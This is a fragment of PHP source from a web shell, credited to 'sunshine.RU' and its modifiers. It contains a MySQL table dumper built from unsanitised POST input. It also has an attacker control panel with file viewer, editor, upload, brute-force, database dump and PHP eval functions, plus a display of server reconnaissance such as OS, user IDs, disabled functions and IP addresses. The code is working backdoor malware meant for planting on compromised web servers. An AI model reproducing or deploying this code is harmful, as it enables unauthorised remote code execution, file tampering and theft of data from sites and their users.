662<input type=hidden name=base value=1>
663<input type=hidden name=p value=sql>
664<input type=hidden name=tbl value=$tbl>
665</form>";
666@$vn=$_POST['vn'];
667@$from=$_POST['from'];
668@$to=$_POST['to'];
669@$from=$_POST['from'];
670@$to=$_POST['to'];
671if(!isset($from)){$from=0;}
672if(!isset($to)){$to=50;}
673$query = "SELECT * FROM $vn LIMIT $from,$to";
674$result = mysql_query($query);
675for ($i=0;$i<mysql_num_fields($result);$i++){
676$name=mysql_field_name($result,$i);
677$content.="<td> </td><td bgcolor=#44474f><font color=red> $name </font></td> ";
678}
679while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
680$content.= "<tr>";
681foreach ($mn as $come=>$lee) {
682$nst_inside=htmlspecialchars($lee);
683$content.= "<td> </td><td bgcolor=#44474f>$nst_inside</td>\r\n";
684}
685}
686mysql_free_result($result);
687$content.= "</table>";
688}}}
689
690//end function
691
692?><?=$header;?><table width="100%" bgcolor="#31333b" align="right" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="#" onclick="document.reqs.action.value='sunshine';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| sunshine |. </a></td><td><a href="#" onclick="document.reqs.action.value='viewer';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Viewer |.</a></td><td><a href="#" onclick="document.reqs.action.value='editor';document.reqs.file.value='<?=$file;?>';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Editor |.</a></td><td><a href="#" onclick="document.reqs.action.value='upload';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Upload |.</a></td><td><a href="#" onclick="document.reqs.action.value='brute';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Brute |.</a></td><td><a href="#" onclick="document.reqs.action.value='mysql';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Mysql Dumper|.</a></td><td><a href="#" onclick="document.reqs.action.value='phpeval';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Php Eval |.</a></td><td><a href="#" onclick="history.back();">.| <-back |.</a></td><td><a href="#" onclick="history.forward();">.| forward->|.</a></td></tr></table></td></tr></table><br><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form><table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1> <tr><td>Safe mode: <?php echo $safe_mode;?><br>Disable functions: <?php echo $disfunc;?><br>OS: <?php echo @php_uname();?><br>Server: <?php echo @getenv("SERVER_SOFTWARE")?><br>Id: <?php echo "Uid=".getmyuid(). " Gid=".getmygid(); ?><br><? echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?></br> Status: <?php echo @$stdata;?></td></tr></table><table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?=$content;?>
693<br></table><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#44474f BORDER=1 width=100% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=#44474f><tr><td><center><font color='#9acd32' face='Tahoma' size = 2><b>| COPYRIGHT BY sunshine.RU | Made by Grinay | Modified by Go0o$E |</b></font></center></td></tr></table><?=$footer;?>